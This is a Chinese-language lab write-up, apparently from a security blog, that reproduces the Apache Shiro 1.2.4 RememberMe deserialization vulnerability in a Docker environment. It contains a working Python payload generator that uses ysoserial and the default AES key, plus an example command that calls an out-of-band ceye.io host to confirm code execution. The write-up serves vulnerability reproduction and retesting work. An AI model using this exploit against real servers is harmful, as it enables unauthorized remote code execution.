Shiro RememberMe 1.2.4 反序列化漏洞详细复现
0x00 前言
今天上班的时候收到了一个复测的任务,打开一看,shiro反序列化漏洞,What?这是个什么东西,经百度查找后才知道,原来是Java的开发框架,好吧,还是没听说过。。由于初测报告上的过程过于简略(唯一有用的只有KEY),所以不得不自己研究一番了。

0x01 环境搭建
漏洞版本<=1.2.4,使用docker搭建
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
访问80端口即可访问漏洞环境
0x02 工具准备
1、生成payload的脚本
将下面的脚本保存至本地命名为shiro_poc.py,然后进入linux系统/tmp目录下(如想使用其他KEY,替换脚本中的即可)
不要使用vi/vim命令创建文件再粘贴过去,粘贴会破坏代码的布局格式
命令行输入rz回车,就会跳出文件上传的页面(如果报错,pip安装一下),选择文件上传即可
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("/tmp/payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
2、安装模块
脚本使用的是python3,安装模块时要使用pip3 install 模块名
其中有一个模块需要强调,就是安装pycrypto,用来解决报错No module named Crypto.Cipher
pip3 install pycrypto
3、ysoserial的jar文件
依次执行以下命令(jar的文件名要和脚本中的一样,文件要和脚本在同一目录下)
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp
0x03 复现过程
在脚本后面输入你想要执行的命令,例:
python3 shiro_poc.py "ping fkl2af.ceye.io"
然后便会在脚本所在目录下生成文件payload.cookie

浏览器打开漏洞环境并登陆进去,点击account page抓包

用payload.cookie中内容替换Cookie中的全部内容,Go

到ceye平台查看即可到流量记录

最后感谢达哥和豪哥的帮助,让我顺利完成复测
如想学习更多漏洞复现,欢迎关注公众号Timeline Sec
参考链接:
https://paper.seebug.org/shiro-rememberme-1-2-4/
Shiro RememberMe 1.2.4 反序列化漏洞详细复现的更多相关文章
- Shiro RememberMe 1.2.4 反序列化漏洞复现
目录 原理解释 环境搭建 复现过程 原理解释 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理. shiro默认使用了CookieRememberMeMana ...
- Apache Shiro RememberMe 1.2.4 反序列化漏洞
拉取镜像 docker pull medicean/vulapps:s_shiro_1 启动环境 docker run -d -p 80:8080 medicean/vulapps:s_shiro_1 ...
- WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)复现
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271) -----by ba ...
- Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现
影响版本 Apache Shiro <= 1.2.4 产生原因 shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cook ...
- Weblogic反序列化漏洞(CVE-2017-10271)复现
通过POST发送xml数据对WebLogic Server组件的WLS Security子组件造成任意代码执行漏洞 影响版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2 ...
- JBOSS AS 5.X/6.X 反序列化漏洞(CVE-2017-12149)复现
本机IP:192.168.220.145 靶机IP:192.168.220.139,版本为JBOSS AS 6.1.0 Final 首先访问目标地址,http://192.168.220.139:80 ...
- 一次关于shiro反序列化漏洞的思考
0x01前言 之前在我反序列化的那篇文章中(https://www.cnblogs.com/lcxblogs/p/13539535.html),简单说了一下反序列化漏洞,也提了一嘴常见的几种Java框 ...
- Apache Shiro Java反序列化漏洞分析
1. 前言 最近工作上刚好碰到了这个漏洞,当时的漏洞环境是: shiro-core 1.2.4 commons-beanutils 1.9.1 最终利用ysoserial的CommonsBeanuti ...
- Shiro remeberMe反序列化漏洞复现(Shiro-550)
Apache Shiro是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能.Shiro框架直观.易用,同时也能提供健壮的安全性.在Apache Shiro编号为550的 issu ...
随机推荐
- 洛谷1439:最长公共子序列(nlogn做法)
洛谷1439:最长公共子序列(nlogn做法) 题目描述: 给定两个序列求最长公共子序列. 这两个序列一定是\(1\)~\(n\)的全排列. 数据范围: \(1\leq n\leq 10^5\) 思路 ...
- appium--Capability的配置
前戏 desired appium的功能是配置Appium会话,他们告诉appium服务器你想要自动化的平台的程序 Desired Capability是一组设置的键值对的集合,其中键对应设置的名称, ...
- 从Java官网下载最新的文档(包含API文档)
Java学习资料(适合c转java的同学): Java中带包(创建及引用)的类的编译 - 小明快点跑 JAVA 对象引用,以及对象赋值 - 飘来荡去. Java官网下载页:https://www.or ...
- 一键脚本解决Windows系统更新错误(0x80070003)
新建文本,写入以下内容并保存为bat文件 REM 解决系统更新错误(0x80070003) pause net stop "Windows Update" rd /s/q &quo ...
- 认识map-reduce
基本概念 map-reduce1.0 例子: hadoop streaming 用语言驱动map-reduce的话,使用的hadoop streaming命令,可以通过python,php,java来 ...
- Python 中 如何将两个列表元素一一对应成字典
使用python的 zip函数 和强大的集合操作可以方便的将两个list元素一一对应转换为dict,如下示例代码: names = ['n1','n2','n3'] values = [1,2,3] ...
- Eureka与Zookeeper的区别
ACID与ACP的介绍
- Field redisTemplate in xxxxxx required a bean of type 'org.springframework.data.redis.core.RedisTemplate' that could not be found.
*************************** APPLICATION FAILED TO START *************************** Description: Fie ...
- 深入V8引擎-引擎内部类管理解析
v8的初始化三部曲,前面花了三篇解决了第一步,由于只是生成了一个对象,第二步就是将其嵌入v8中,先看一下三个步骤. // 生成默认Platform对象 std::unique_ptr<v8::P ...
- WPF 精修篇 缩放ScaleTransform
原文:WPF 精修篇 缩放ScaleTransform 缩放 ScaleTransform 参数 ScaleX X轴缩小值 正常为1 ScaleY Y轴缩小值 正常为1 CenterY ,Cente ...